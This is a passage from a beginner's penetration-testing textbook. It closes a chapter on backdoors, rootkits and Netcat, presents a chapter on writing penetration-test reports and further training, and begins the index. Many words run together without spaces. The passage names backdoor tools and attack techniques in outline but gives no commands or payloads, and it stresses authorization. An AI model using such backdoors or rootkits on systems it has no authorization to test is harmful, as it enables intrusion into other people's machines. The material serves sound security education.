some advanced features like using Netcat as a proxy, reverse shells, portscanning, creating and copying a disk partition image, and chaining Netcatinstancestogethertobouncetrafficfromonemachinetoanother.BeforewrappingupNetcat,besuretothoroughlyreviewthe“man”pagesand

examine each switch. Again, youwill want to look closely at the differencesbetweentheLinuxandWindowsversions.Examiningtheswitchesandreadingthe “man” pages often provide additional information and can spur somecreativeusesofthetool.Practicingwithrootkitscanbeabitofadouble-edgedsword.Exploringand

learningtouserootkitscanberewardingandvaluablebutaswithallmalware,thereiscertainlysomeriskinvolved.Anytimemalwareisusedorstudied,thereisachancethat themalwarewillescapeor infect thehostsystem.Readersarestrongly encouraged to exercise extreme caution before downloading orinstalling any type of malware. Advanced malware and rootkit analysis isbeyondthescopeofthisbookandisnotrecommended.If you are still compelled to study these topics, the use of a sandboxed

environment andVMs is amust.Always disconnect all outside access beforeproceedingtoensurethatnothingescapesyournetwork.Rememberthatyouarelegallyresponsibleforanyandalltrafficthatleavesyournetwork.Thelawsthatgoverncomputeruseatthefederalandstatelevelsmakenodistinctionbetweentrafficthat“accidentally”leavesyournetworkandtrafficthatissentonpurpose.When discussing the basics, rootkits and backdoors are rarely used in a

penetration test. It ishighlysuggested thatyoufocusonmasteringeachof theotherstepsbeforeattemptingtoadvanceanyfurtherwithmalware.

WhereDoIGofromHere?Aftermastering the basics of backdoors and rootkits, you should expand yourhorizon by exploring similar tools including Ncat and Socat. Ncat is amodernized version of the original Netcat tool and is included as part of theNmap project. Ncat improves on the original tool by including many of theoriginal features plus SSL and IPv6 support. Socat is another close Netcatrelativethatisgreatforreadingandwritingnetworktraffic.Socatalsoextendsthe original functionality ofNetcat by also adding support forSSL, IPv6, andseveralotheradvancedfeatures.Ifyouareinterestedinlearningmoreaboutbackdoors,youshouldspendtime

exploring a couple of classic examples including Netbus, Back Orifice andSubSeven (Sub7). Netbus is a good example of a traditional command andcontrol software.BackOrifice is similar innature toNetbusandalsoallowsauser to command and control a remote machine. The programwas originallyreleasedbySirDysticin1998.Youcanlistentotheoriginaltalktitled“Cultofthe Dead Cow: The announcement of Back Orfice, DirectXploit, and themodularButtPluginsforBO”byreviewingtheDefcon6mediaarchives.Sub7 was originally released in 1999 by Mobman and functions in a

client/servermannersimilartoNetbusandBackOrifice.Likeeachoftheothertoolsdiscussedinthischapter,Sub7isasoftwarethatallowsaclienttoremotelycontrolaserver.Ifyouareinterestedinexpandingyourknowledgeofrootkits,itisimportant

tostudyandmaster theinnerworkingsofmodernoperatingsystems.Learningtheintricatedetailsofanoperatingsystemkernelmayseemdauntingatfirst,butitiswellworthyourtime.This chapter examined the Hacker Defender rootkit and provided a basic

overviewof the functionalityanduseof rootkits. It is important tounderstandthatthismaterialonlyscratchesthesurfaceofrootkits.Advancedtopicsincludehooking system and function calls and understanding the difference betweenuser-mode and kernel-mode kits. Developing a solid grasp ofsystemprogrammingandprogramminglanguagescanbeextremelybeneficialaswell.

SummaryThis chapter focused on post exploitation activities through the use and

implementationofbackdoors,rootkits,andthemeterpretershell.Rememberitisvitalthatyouhaveproperauthorizationbeforeutilizingarootkitorbackdoorinapenetration test.Thischapterbeganby introducing thepowerfulandflexibletool Netcat. Several uses of Netcat, including implementing Netcat as abackdoor, are covered. Cryptcat, a modern version of Netcat with the addedabilitytoencrypttrafficbetweentwomachines,wasalsodiscussed.Thechaptercontinuedwith a brief overviewof rootkits including their basic structure anduse. Specifically, the proper use, configuration, and implementation of theHackerDefenderrootkitwerecovered.Thechapterconcludedwithareviewofthebasicpostexploitationcommandsavailablethroughthemeterpretershell.

CHAPTER8

WrappingUpthePenetrationTest

InformationinThisChapter:

WritingthePenetrationTestingReportYouDoNotHavetoGoHomeButYouCannotStayHereWhereDoIGoFromHere?WrapUpTheCircleofLife

IntroductionMany people assume that once you have completed each of the four stepsoutlinedintheprecedingchapters,thepenetrationtestisover.Manynewcomersalsoassumethatimmediatelyfollowingstep4,youcansimplycalltheclienttodiscussyourfindingsormaybeevenjustsendtheclientabillforyourservices.Unfortunately, that is not the case. The reality is that once you wrap up thetechnicaldetailsofapenetrationtest,thereisstillonetaskremaining.Afterallthereconnaissance,scanning,exploitation,andmaintainingaccess iscomplete,youneedtosummarizeyourfindingsintheformofapenetrationtestingreport.It is not uncommon to find extremelygifted hackers andpenetration testers

whowanttocompletelyignorethisfinalactivity.Thesepeoplehavetheskillandthe ability to compromise nearly any network, but they lack the skills tocommunicatethevulnerabilities,exploits,andmitigationstotheclient.In many respects, writing the penetration testing report is one of the most

criticaltasksthatanethicalhackerperforms.Itisimportanttorememberthatinmanycases,thebetteryoudoyourjobasapenetrationtester,thelessyourclientwillactuallynoticeor“feel”yourwork.Asaresult,thefinalreportisoftentheonlytangibleevidencethataclientwillreceivefromthepenetrationtesterandthepenetrationtesting(PT)process.Thepenetrationtestingreportoftenbecomesthefaceofyourorganizationand

reputation. Once the initial contract has been signed providing scope andauthorization, the penetration tester often disappears from the targetorganization.Thetestitselfoccursinarelativelyisolatedenvironment.Oncethetest is completed, it is critical that the penetration tester present his or herfindingsinawellthought-out,organized,andeasy-to-understandmanner.Again,it is important to remember that in most cases, the target organization (thecompanythatispayingyou)hasnoconceptofwhatyouhavebeendoingorhowmanyhoursyouhaveputintothetask.Asaresult,thepenetrationtestingreportbecomestheprincipalreflectionofyourcompetence.Youhavearesponsibilityto the client to present your findings, but you also have an opportunity toshowcase your talent and explain how you spent the client’s time andmoneywisely.Do not underestimate the power or importance of this phase. In reality,

oftentimesyourperceivedeffortsandsuccesswillbejudgedmoreonyourreportthan your actual success or failure to compromise a network. Ultimately, theability to write a good penetration testing report will win you businessrepeatedly.

WritingthePenetrationTestingReportLike every other topic we have discussed, writing a good penetration testingreport takes practice.Many penetration testers mistakenly think that they cansimply provide the raw output from the tools that they run. This group ofpeoplewill often collect and neatly organize the various outputs into a singlereport.TheywillgatheranypertinentinformationfromthereconnaissancephaseandincludeitalongwiththeoutputfromNmapandNessus.Manyof the toolswediscussed in thisbook includea reportingengine.For

example,Nessushasseveralprebuiltreportsthatcanbegeneratedbasedoffthescan.Unfortunately,usingtheprebuiltreportsisnotenough.Eachreportmustbewelllaidoutandflowasasingledocument.CombiningonestyleofreportfromNessuswithadifferentstyleofreportfromNmaporMetasploitwillmakethepenetrationtestreportappeardisjointedandunorganized.Withthatbeingsaid,itisimportanttoprovidethedetailedoutputfromeach

ofyour tools.Notmanyofyourclientswillhave theability tounderstand thetechnicaloutputfromNmaporNessus;however,rememberthedatadobelongtotheclientanditisimportantthattheyhaveaccesstotherawdata.Wehavediscussedseveralexamplesofwhatnottodoinapenetrationtesting

report;letusexaminethisissuefromadifferentangleanddiscusswhatshouldbedone.First and foremost, the penetration testing report needs to be broken into

several individual pieces. Taken together, these pieces will form your overallreport,buteachpieceshouldworkasastand-alonereportaswell.Ataminimum,awell-roundedandpresentedpenetrationtestingreportshould

includethefollowing:1.Anexecutivesummary.2.Awalkthroughofhowthepenetrationtestwasperformedtoprovidean

understandingofhowyousuccessfullycompromisedorhackedthesystem(s).

3.Adetailedreport.4.Rawoutput(whenrequested)andsupportinginformation.

ExecutiveSummaryTheexecutivesummaryshouldbeaverybriefoverviewofyourmajorfindings.This document, or subreport, should not exceed two pages in length and onlyinclude thehighlightsof thepenetration test.Theexecutivesummarydoesnotprovide technicaldetailsor terminology.This reportneeds tobewritten in thecontext of board members and nontechnical management so that they canunderstandyourfindingsandanymajorconcernsyoudiscoveredonthenetworkandsystems.Ifvulnerabilityandexploitswerediscovered,theexecutivesummaryneedsto

focus on explaining how these findings impact the business. The executivesummary should provide links and references to the detailed report so thatinterestedpartiescanreviewthetechnicalnatureofthefindings.Itisimportanttorememberthattheexecutivesummarymustbeverybriefandwrittenatahighlevel.Mostexecutivesummariesshouldbewritteninsuchawaythatthereportwriter’sowngrandmotherwouldbeabletounderstandwhatoccurredduringthepenetrationtestandwhatthemajorfindingswere.Itisalsoagoodideatorestatethescopeandpurposeofthetestaswellasincludingoverallriskratingfortheorganizationinthisportionofthereport.

DetailedReportThe second part in a well-rounded penetration testing report is the detailed

report.Thisreportwillincludeacomprehensivelistofyourfindingsaswellasthetechnicaldetails.TheaudienceforthisreportincludesITmanagers,securityexperts, network administrators, and others who possess the skills andknowledgerequiredtoreadandcomprehenditstechnicalnature.Inmostcases,this reportwillbeusedby the technicalstaff tounderstand thedetailsofwhatyourtestuncoveredandhowtoaddressorfixtheseissues.Aswith every facet of the penetration test, it is important to be honest and

direct with the client. Although it may be tempting to emphasize your greattechnicalsavvyanddiscusshowyouownedaparticularservice,itismuchmoreimportanttopresentthefactstoyourclientbeginningwiththeissuesthatposethe most danger to their networks and systems. Ranking the discoveredvulnerabilities can be confusing and daunting for a new penetration tester;luckilymost tools likeNessuswillprovideyouwithadefault rankingsystem.Alwayspresentcriticalfindingsfirst.Thismakesyourpenetrationtesteasiertoread and allows the client to take action on the most serious findings first(withouthavingtodigthrough50pagesoftechnicaloutput).Becauseitisimportant,itneedstobestatedagainanditisimperativethatyou

put the needs of the client before your ego. Consider the following example:assumeyouareconductingapenetrationtestandareabletofullycompromiseaserveronyourtarget’snetwork.However,afterfurtherinvestigationandreview,you determine that the newly compromised system is of no value. That is, itholdsnodata,isnotconnectedtoanyothersystems,andcannotbeusedtopivotfurtherintothenetwork.Laterinthepenetrationtest,oneofyourtoolsreportsacriticalvulnerabilityonaborderrouter.Unfortunately,evenafterhavingreadthedetailsof thevulnerabilityandrunningseveral tools,youareunable toexploittheweaknessandgainaccesstothesystem.Eventhoughyouareunabletogainaccess to the border router, you are certain that the system is vulnerable.Youalsoknowthatbecausethisdeviceisaboarderrouter,ifitiscompromised,theentirenetworkwillbeatrisk.Ofcourse, it shouldgowithoutsaying that in thisexampleboth theseflaws

should be reported. However, the point is that in this case, one flaw clearlypresentsmoredangerthantheother.Inthissituation,manynewcomersmaybetemptedtoshowcasetheirtechnicalskillsandsuccessesbyemphasizingthefactthat they were able to successfully compromise a server and downplay theimportanceofthecriticalvulnerabilitybecausethepenetrationtesterwasunabletoexploit it.Neverputyourselforyouregoabovethesecurityofyourclients.Donotoverstatethefacts;simplyreportyourfindingstothebestofyourability

in an objectivemanner.Let the clientmake subjective decisionswith the datayou provide.Nevermake up or falsify data in a penetration test.Never reuse“proof-of-concept” screenshots. It can be tempting to take shortcuts bysupplyinggeneric, reusableproofs,but it isadangerousandunethical thing todo.The idea and use of proof-of-concept screenshots is a powerful tool and

should be incorporated into the penetration testing report whenever possible.Anytimeyoudiscoveramajorfindingorsuccessfullycompleteanexploit,youshouldincludeascreenshotinthedetailedreport.Thiswillserveasundeniableevidenceandprovidethereaderwithavisualizationofyoursuccess.It is also good to remember, especially when you first start conducting

penetration testsand thatnoteveryPTwill result ina“win”or the successfulcompromiseofyour target. Inmost situations, thepenetration test isboundbysomeartificialrulesthatreducetherealityofthetest.Theseincludethedemandsimposedby theclientsuchasscope, time,andbudgetaswellas the legalandethicalrestrictionsthathelpdefinetheboundariesofapenetrationtest.Asyouprogress in your penetration-testing career, you will undoubtedly encountersituations where your penetration test turns up completely blank, novulnerabilities, no weaknesses, no useful information gathered, etc. In thesesituations,youstillneedtocompletethepenetrationtestingreport.Wheneverpossible,whenwriting thepenetration testing report,youneed to

include mitigations and suggestions for addressing the issues you discovered.Sometools,likeNessus,willprovidesuggestedmitigations.Ifyourtoolsdonotprovide precanned mitigations, then it is important that you locate potentialsolutionsonyourown. Ifyouareunsureofwhere to look for these solutions,mostpublicexploitsandvulnerabilitiesincludedetailsorstepsthatcanbetakentoaddresstheweakness.UseGoogleandtheInternettotrackdownspecificsofthereportedweaknesses.Byreviewingthetechnicaldetailsofvulnerability,youwilloftenfindpotentialsolutions.Thesetypicallyincludedownloadingapatchorupgradingtoanewerversionofthesoftware,althoughtheymaydiscussotherresolutionssuchasconfigurationchangesorhardwareupgrades.Providingsolutionstoeachoftheproblemsyoudiscoverisavitalpartofthe

detailed report. It will also serve to win you repeat business and help todistinguishyourselffromotherpenetrationtesters.If you are providing the raw output of your tools as part of the penetration

testing report, the findings in the detailed report should include links andreferencestospecificpagesintherawoutputsection.Thisisimportantbecause

it will save you time and confused phone calls from your clients who arewonderinghowyoudiscoveredaparticularissue.Providingclearreferencestotherawtooloutputwillallowtheclienttodigintothedetailswithoutneedingtocontactyou.Inthismanner,youshouldbeabletoseehowthereportflowsfromexecutivesummarytodetailedsummarytorawoutput.

RawOutputWhen requested, the final portion of the report should be the technical detailsandrawoutputfromeachofthetools.Inreality,noteverypenetrationtesterwillagree that this information needs to be included with the penetration testingreport. There is some merit to the arguments against including this detailedinformation,which includes the fact that this information is often hundreds ofpages in lengthandcanbeverydifficult to readandreview.Anothercommonargument often repeated from fellow penetration testers is that providing thislevelofdetailisunnecessaryandallowstheclienttoseeexactlywhattoolswereruntoperformthepenetrationtest.Ifyouareusingcustomtools,scripts,orotherproprietarycodetoperforma

penetrationtest,youmaynotwanttorevealthistypeofinformationdirectlytoyourclient.However,inmostcases,itisusuallysafetoprovidethedirectoutputof the tools used in the penetration test. This is not to say that you need toprovide the detailed commands and switches that were used to run tools likeMetasploit,Nmap,orcustomcode,butratherthatyoumaketheoutputofthosecommands available. If you are concerned about disclosing the specificcommandsused to runyour tools, youmayhave to sanitize the rawoutput toremove those commands andmanually delete any other sensitive informationyoudonotwanttobedisclosedtothereaders.Fromtheviewpointofabasicpenetrationtest,whichtypicallyincludeseach

of the toolswe discussed in this book, itwould not be out of the question tosimplyincludealltherawoutputattheendofthereport(ortomakeitavailableas a separate report). The reason for this is simple—the tools and commandsusedtoinvokeeachofthetoolsinabasicpenetrationtestarewidelyknownandavailable. There is no real point in hiding or attempting to obfuscate thisinformation.Additionally,asmentionedearlier,includingthedetailedoutputandmakingclearreferencestoitinthedetailedreportwilloftensaveyoutimeandphonecallsfromfrustratedclientswhodonotunderstandyourfindings.Whether you decide to include the raw data as an actual component of the

reportoryoudecideto includeitasaseparatedocument isentirelyuptoyou.Dependingonthesheersizeofthisreport,youmaywanttosimplyincludeitasa secondary or stand-alone report and not attach it directlywith the executivesummaryandthedetailedreports.Anotherconsiderationthatneedstobegivensomecarefulthoughtishowyou

willpresentyourreporttotheclient.Thisissomethingthatshouldbediscussedpriortothedeliveryofthereport.Fromapurelytime-managementandresourcestandpoint, it isofteneasier todeliver thereportasanelectronicdocument. Inthecasewheretheclientrequestsapapercopy,youwillneedtoprofessionallyprint,bind,andmail thedocument to theclient.Besure tosend thedocumentviacertifiedmailandalwaysrequestareturnreceiptsoyoucanverifythatthedocumentwasproperlyreceived.If you have agreed to deliver the document electronically, youwill need to

ensure that thepenetration testing report isencryptedand remainsconfidentialuntilitarrivesintheclient’shands.Rememberapenetrationtestingreportoftencontainsverysensitiveinformationabouttheorganization.Youmustensuretheinformation contained in the report remains private. It would be veryembarrassing tohave a report you createdbecomepublicbecauseyoudidnottakethebasicmeasuresneededtoensureconfidentiality.There are several easyways of ensuring confidentiality.You can use a tool

like 7zip to compress and add a password to the files.Amuch betterway ofencryptingadocumentistouseatoollikeTrueCrypttoencryptthedocuments.TrueCrypt is an easy-to-use program and can be downloaded for free fromhttp://www.truecrypt.org. Regardless of what type of encryption or protectionschemeyouuse,yourclientwillneedtousethesametooltodecryptandviewthe files. This is an arrangement that should be agreed upon before thepenetrationtestbegins.Someofyourclientsmaynotunderstandeventhebasicsofcryptography.Asaresult,youmayneedtoworkwithandtrainthemonthepropertechniquesneededtoviewyourfinalreport.Each section or individual subreport should be clearly labeled and should

beginonanewpage.Undertheheadingofeachreport,itmaybeagoodideatoemphasizetothereaderthatthepenetrationtestisonlyasnapshotintime.Thesecurityofnetworks,computers,systems,andsoftwareisdynamic.Threatsandvulnerabilities change at lightning speed. As a result, a system that appearscompletely impenetrable today can be easily compromised tomorrow if a newvulnerabilityisdiscovered.Asawayofindemnifyingyourselfagainstthisrapidchange,itisimportanttocommunicatethattheresultsofthetestareaccurateas

ofthedayyoucompletedtheassessment.Settingrealisticclientexpectationsisimportant.Remember, unless you fill a computerwith concrete, drop it in themiddleof theocean,andunplug it from the Internet, there isalwaysachancethat the system can be hacked by some unknown technique or new zero-dayflaw.Finally,takeyourtimetoprepare,read,reread,andproperlyedityourreport.

It isequallyas important toprovideadocument that is technicallyaccurateaswell as one that is free of spelling and grammar issues. Technical penetrationtestingreportsthatcontaingrammarandspellingmistakeswillindicatetoyourclient thatyouperformsloppyworkand reflectnegativelyonyou.Rememberthe penetration testing report is a direct reflection of you and your ability. Inmany cases, the report is the single output that your clientwill see fromyourefforts.Youwillbejudgedbasedonthelevelofitstechnicaldetailandfindingsaswellasitsoverallpresentationandreadability.Whileyouarereviewingyourreportformistakes,takesometimetoclosely

reviewthedetailedoutputfromyourvarioustools.Remember,manyofthetoolsthatweusearewrittenbyhackerswithasenseofhumor.Unfortunately,hackerhumorand theprofessionalworlddonot alwaysmesh.When I first startedaspenetration tester, a colleague and I found ourselves in an embarrassingsituation. One of my favorite tools (Burp Suite) had attempted to log into aparticular service several hundred times using the name “PeterWeiner”.As aresult, our professional-looking report was filled with examples of a not-so-professionaluseraccountbelongingtoPeterWeiner. It isnoteasytogointoaboardroom full of professional, suit-wearing executives and discuss yourfictitioususernamedPeterWeiner.Itisworthnotingthatinthiscase,themistakewas100%mine.Theguysat

PortSwiggerclearlydiscusshow tochange thisusername in theconfigurationsettings and a more careful inspection of the reports would have caught thisbeforemypresentation.HadIproperlyreviewedthereportandfindings,Iwouldhavehadplentyoftimetocorrectit(oratleastcomeupwithagoodexcuse!).Right or wrong, your reputation as a penetration tester will have a direct

correlationtothequalityofthereportsthatyouputout.Learningtocraftawell-writtenpenetrationtestiscriticalforearningrepeatcustomersandearningfuturebusiness. It is always a good idea to have a sample report in hand. Manyprospectiveclientswillaskforasamplereportbeforemakingafinaldecision.Itis worth noting that a sample report should be just a sample. It should notinclude any actual data from a real customer. Never give a previous client’s

reportoutasasample,asthiscouldrepresentamassiveviolationoftheimpliedorcontractualconfidentialitybetweenyouandyourclient.Towrapupthereport-writingphase,itisworthmentioningthatmostclients

will expectyou tobeavailableafter the reporthasbeendelivered.Becauseofthe technical and detailed nature of the penetration testing process and report,you should expect to receive a few questions. Here again, taking time andanswering each question should be viewed as an opportunity to impress theclient and win future business rather than as an annoyance. Ultimately, goodcustomer service isworth itsweight ingold andwill often repayyou10-fold.Naturally,yourwillingnesstoworkwithaclientandprovideadditionalserviceshas tomakebusiness sense aswell.You are not required to “overservice” theaccountandprovideendlesshoursoffreesupport,butratheryouneedtofindabalancebetweenprovidingexceptionalcustomerserviceandhealthyprofits.

YouDoNotHavetoGoHomebutYouCannotStayHereAssuming you have read the entire book (congrats by the way!), you areprobablywondering“what’snext?”Theanswertothatquestiondependsentirelyonyou.First,itissuggestedthatyoupracticeandmasterthebasicinformationandtechniquespresentedinthisbook.Onceyouarecomfortablewiththebasics,moveontotheadvancedtopicsandtoolscoveredinthe“WhereDoIGofromHere”sectionofeachchapter.After mastering all the material in this book, you should have a solid

understanding of the hacking and penetration testing process.You should feelcomfortable enough with the basic information that you are able to take onadvancedtopicsandevenspecialize.It is worth noting, however, that there is much more to hacking and

penetration testing than just running tools. There are entire communities outthere that are built around these topics. You should become active in thesecommunities. Introduce yourself and learn by asking questions and observing.You should give back to these communities whenever possible. Hacking,security, and penetration testing communities are available through variouswebsites, online forums, ICQ, mailing lists, and news groups, and even inperson.Chat rooms are a great place to learnmore about security. Chat rooms are

usually highly focused on a single topic and, as the name implies, typically

involvelotsofcommunicationoverawidevarietyofsubtopicspertainingtotheoverallthemeoftheroom.Inmanyrespects,achatroomislikesittingatabarand listening to the conversations around you. You can participate by askingquestionsorsimplybysittingquietlyandreadingtheconversationsofeveryoneintheroom.Ifyouhaveneverbeentoasecurityconference(alsoknownasa“CON”),you

owe it to yourself to go. DEFCON is an annual hacker convention held inLasVegasat theendof each summer.Yes it is abitof a circus,yes therearemorethan11,000peopleattending,andyesitishotinLasVegasinAugust.Butdespiteallthat,DEFCONremainsoneofthesingle,bestsecuritycommunitiesonearth.Ingeneral,thecrowdsareverypleasant,theGoons(officialDEFCONworkers)arefriendlyandhelpful,andthecommunityisopenandinviting.Thepriceofadmissionispeanutscomparedtosomeoftheothersecurityevents,andonemorething—thetalksareamazing.The quality and variety of talks at DEFCON are nothing short of mind

boggling.Talksvaryeachyear,buttheyaresuretoincludethetopicsofnetworkhacking, web app security, physical security, hardware hacking, lock picking,andmanymore.The speakers are not only approachable,more often than nottheyarewilling to take timeand talk toyou,answeringyourquestionsoneonone.ItisconsistentlyamazinghowapproachableandhelpfulCONspeakersare.It is natural tobe a littlenervouswhenapproaching someoneat a conference,especially ifyouhavebeenpartof anonlinecommunitywhere“newbies”areputdownandquestionsarediscouraged;however,ifyoutaketheinitiative,youwill often be pleasantly surprised by the openness of the entire DEFCONcommunity.Another great conference to look into is DerbyCon. DerbyCon is typically

held inLouisville,KentuckyeachFall.DaveKennedywhohelped toorganizethis book is oneof the cofoundersofDerbyCon.This is a rocking conferencethatpullsinsomeofthebiggestnamesinsecurityandoffersamore“intimate”(1000–1500 attendees) experience. You can find all the details athttp://www.derbycon.com.Ifyoucannotmakeit totheofficialDEFCONconference,youshouldtryto

get involved in other security communities that are closer to you. InfraGard,OWASP,theKaliLinuxforums,andmanyothersaregreatresourcesforyou.Readingthisbookandjoiningasecuritycommunityaregreatwaystoexpand

yourhorizonsandlearnadditionalandadvancedsecurityconcepts.Followingathreadorseeingatalkwilloftenspuraninterestinaspecificsecuritytopic.

Onceyouhavemasteredthebasics,youcanlookatdivingmoredeeplyintoaparticular area of security. Most people learn the basics, and then tend tospecializeinaparticulararea.Thisisnotsomethingyouhavetochoosetoday,andbecomingspecializedinasingleareadoesnotprecludeyoufrombecomingspecialized inother areas.However, ingeneral,most people tend tobehighlyfocusedwith an advancedknowledge in oneor two areas of security.The listbelowisjustasmallsampleoftopicsthatyoucanspecializein.Itisnotmeanttobeall-inclusivebutrather toprovideyouwithasampleof thevariousareasthatrequireadvancedtraining:Offensivesecurity/EthicalhackingWebapplicationsecuritySystemsecurityReverseengineeringTooldevelopmentMalwareanalysisDefensivesecuritySoftwaresecurityDigitalforensicsWirelesssecurity.

WhereDoIGofromHere?After reading this book, youmay be hungry to learnmore about a particulartopic, step, or technique that was discussed. Now that you havemastered thebasics, there should bemany additional doors open to you. If you have trulystudied,practiced,andunderstoodthebasicmaterialpresentedinthisbook,youareequippedtotacklemoreadvancedtraining.Rememberoneofthemainmotivationsforwritingabooklikethiswasnotto

turnyouintoanelitehackerorpenetrationtesterbutrathertoprovideyouwithaspringboard for advancing your knowledge.With a firm understanding of thebasics,youshould feelconfidentandprepared to takeonadvanced training inanyoftheareaswediscussed.Therearemanyopportunitiesforyoutotakeyourskill to the next level. Regardless of which area you choose to explore next,Iwouldstronglyencourageyoutobuildasolidfoundationbybeefingupyourknowledgeofprogrammingandnetworking.Ifyouareinterestedinamore“hands-on”learningapproach,therearemany

great two-to five-day security boot camps available to you. These classes are

often expensive andvery labor-intensive, but oftenhighlyworth their priceofadmission. The Black Hat conference usually offers a series of highlyspecialized and focused classes delivered by some of the most well-knownnames in security today. There are literally dozens of security topics andspecializations tochoose fromtheseevents.The trainingschange fromyear toyear, but you can find them on the Black Hat website athttp://www.blackhat.com.The crew responsible for creating and distributingKali Linux also offers a

hands-onhighly intenseseriesofclasses.Theseclasseswillchallengeyouandpushyoubymakingyouworkthroughaseriesofrealisticscenarios.Eventraditionaluniversitiesarebeginningtogetintothesecuritymodetoday.

Just a few years ago, it was difficult to find any security-related curriculum.Now,mostuniversitiesofferat leastoneclassordevote timeduringaclass tocoversomesecurity.DakotaStateUniversity(DSU)(whereIteach)inMadison,SD,offersseveralon-campusandonlinedegreeswhicharededicatedentirelytosecurity. DSU has two Bachelor’s Degrees available: Cyber Operations andNetworkSecurityAdministration,aMaster’sDegreeinInformationAssurance,andevenaDoctorateofSciencedegreeinInformationAssurance.If you are interested in pursuing a security-related degree through a higher

education institution, you are highly encouraged to attend an NSA-accreditedCenter of Academic Excellence. These programs are information assuranceeducation degrees that have undergone a designation by theNational SecurityAgency or the Department of Homeland Security to verify the value of thecurriculum. You can find more about this program athttp://www.nsa.gov/ia/academic_outreach/nat_cae/index.shtml. Finally, if youwant to attenda schoolwhere “offensive security” is takenvery seriouslyandhasundergonea rigorousexternal review, lookforprograms,whichhavebeendesignatedasNationalCentersofExcellenceinCyberOperations.Youcanfindmoredetailsonthedesignationaswellas theexclusivelistof theseschoolsathttp://www.nsa.gov/academia/nat_cae_cyber_ops/nat_cae_co_centers.shtml.It is well worth your time to take a close look and examine the various

security testing methodologies including the Open Source Security TestingMethodologyManual and thePenetrationTestingExecutionStandard (PTES).Thisbookfocusedonthespecifictoolsandmethodsusedinapenetrationtest.ThePTES,whichismypersonalfavorite,providessecurityprofessionalswithawell-defined,mature framework that can be implemented in conjunction withmanyofthetopicscoveredinthisbook.IlikePTESbecauseitisputtogetherby

workingprofessionals,providestechnicaldetails,andisverythorough.Youcanfindthedetailshere:http://www.pentest-standard.org.Another great penetration testing methodology can be found at

http://www.vulnerabilityassessment.co.uk. The Penetration Testing Framework(PTF) is an excellent resource for penetration testers and security assessmentteams.ThePTF includesassessment templatesaswell asa robust listof toolsthatcanbeusedtoconducteachphase.

WrapUpIfyoureadthisbookfromfronttoback,takeaminutetostopandconsiderallthat you learned. At this point, you should have a solid understanding of thevarious steps involved in a typical penetration test and the tools required tocomplete eachof the steps.More importantly, you should understandhow thepenetration testing process flows and how to take the information and outputfromeachofthephasesandfeedthoseresultsintothenextphase.Manypeopleare eager to learn about hacking and penetration testing, butmost newcomersonlyunderstandhowtorunasingletoolorcompleteasinglestep.Theyrefusetoseethebigpictureandoftenendupspinningtheirwheelsinfrustrationwhentheir tool does not work or provides unexpected results. This group does notrealize how the entire process works and how to leverage the power of eachphasetostrengthenthephasesthatcomeafterit.For thoseofyouwhostuckwith thebook,completedeachof theexamples,

andgaveanhonesteffortatfollowingalong,attheveryleast,thisbookshouldhave provided you with the knowledge and ability to see the big picture andunderstandtheimportanceofeachphase.Youalsonowshouldhavetheabilitytoanswerthequestionposedtoyouina

scenarioatthebeginningofChapter2:

Assumeyouareanethicalpenetrationtesterworkingforasecuritycompany.Yourbosswalksovertoyourofficeandhandsyouapieceofpaper.“IjustgotoffthephonewiththeCEOofthatcompany.ShewantsmybestemployeetoPenTesthiscompany—that’syou.OurLegalDepartmentwillbesendingyouane-mailconfirmingwehavealloftheproperauthorizationsandinsurance.”Younod,acceptingthejob.Heleaves.Youflipoverthepaper,asinglewordiswrittenonthepaper,“Syngress”.Itisacompanyyouhaveneverheardofbefore,andnoother

informationiswrittenonthepaper.

Whatnow?

TheCircleofLifeOneofthegreatestattributesofpenetrationtestingandhackingisthatyouneverreach the end. Just about the time youmaster a particular topic or technique,someonedevelops a newmethod, attack, or procedure.That is not to say thatyouroriginalskillset isobsolete.Onthecontrary,asolidunderstandingofthebasicsprovidesyouwithalifelongfoundationforlearningtheadvancedtopicsandstayingcurrentwiththerapidpaceofchange.

Ialwaysenjoyhearingfromreaders,sofeelfreetosendmeane-mailorhitmeupontwitter:@pengebretson

Enjoythejourney!

Patrick

SummaryThischapterfocusedontheimportanceofwritingthepenetrationtestingreportand examined specific details about what needs to be included and potentialpitfalls for hackers who have never written a penetration testing report. Theimportance of presenting a quality report to the client was emphasized. Itconcluded with suggestions about where you can go to further enhance yourhackingskillsonceyouhavemasteredthebasics.Specificrecommendationsforgetting advanced training and becoming part of the security community werealsooutlined.

Index

Note:Pagenumberswith“f”denotefigures’“t”tables;and“b”boxes.

A

AdvancedPackageTool(APT),5b–6b

Arduinoattackvectors,138–139

Armitage,116

command,117

connectionexception,117–118

HailMaryfunction,117

initialArmitagescreen,118

mainArmitagescreen,118

startingArmitage,117–118

utilization,117Seealsoexploitation

Attackmachine

dhclientcommand,11

DHCPuse,11

DNSserver,10

icontolaunchterminalwindow,9f

ifconfigcommand,10

IPaddress,10

Linuxdistributions,9–10

lointerface,10

reviewsteps,11

forrunningKaliorBacktrack,9

forturningnetworkcardon,10

Automatedattacks,125

B

BackOrifice,185

Backdoor,17,48–49,168SeealsoNetcat

BacktrackLinux,4–7,13

advantage,9

attackmachinetorun,9

bootoptions,8f

burningprocess,7

GRUBbootloaderbootmenu,8

Paros,6

safegraphicalmode,8

securitycommunity,6

VMwareimage,7–8

VMwarePlayer,7–8

VMwaresoftwarerole,11

Base64encoding,153

Bdcli100.execlientsoftware,176

Blackboxpenetrationtesting,4

BlackHatconference,196

Bruteforcingprogram,83

BurpSuite,165

C

Codeinjectionattacks

bypassclient-sideauthentication,156

genericframework,154

interpretedlanguage,153

SQL,153–155

orstatement,155

unintendedcommands,153–154

webapplications,156

Credentialharvester,136

capturedcredentials,136

employeesatisfactionsurvey,136–137

onfakeGmailwebsite,137

HTTPS,136

webattackvectors,136–137

fromwebsite,137

Cross-sitescripting(XSS),142–144

attackingmethod,157

First-Order,159

penetrationtester,158

reflectedandstored,159

skilledattacker,157

stored,159

testcode,158

usernameandpassword,158

Cryptcat,174

–kswitch,174

tunnelencryption,174

twofishencryption,174

D

DakotaStateUniversity(DSU),26,196

DamnVulnerableWebApp(DVWA),164

De-ICELinuxCD,123

DEFCON,194–195

DerbyCon,195

Dig,42–43

Digitalreconnaissance,21

Directorybrowsing,30

DomainNameSystem(DNS),10,34

interrogation,42

servers,39

Dsnifftools,113

DSU,SeeDakotaStateUniversity

DVWA,SeeDamnVulnerableWebApp

E

E-mailservers,44

rejectedmessage,44

targete-mailserver,44

Exchangeserver,136–137

Executivesummary,189

Exploitation,79–80

Armitage,116–118

conceptof,79–81

automatedattacks,125

ettercap,125

bufferoverflows,126

passwordbruteforcingtoolhydra,124

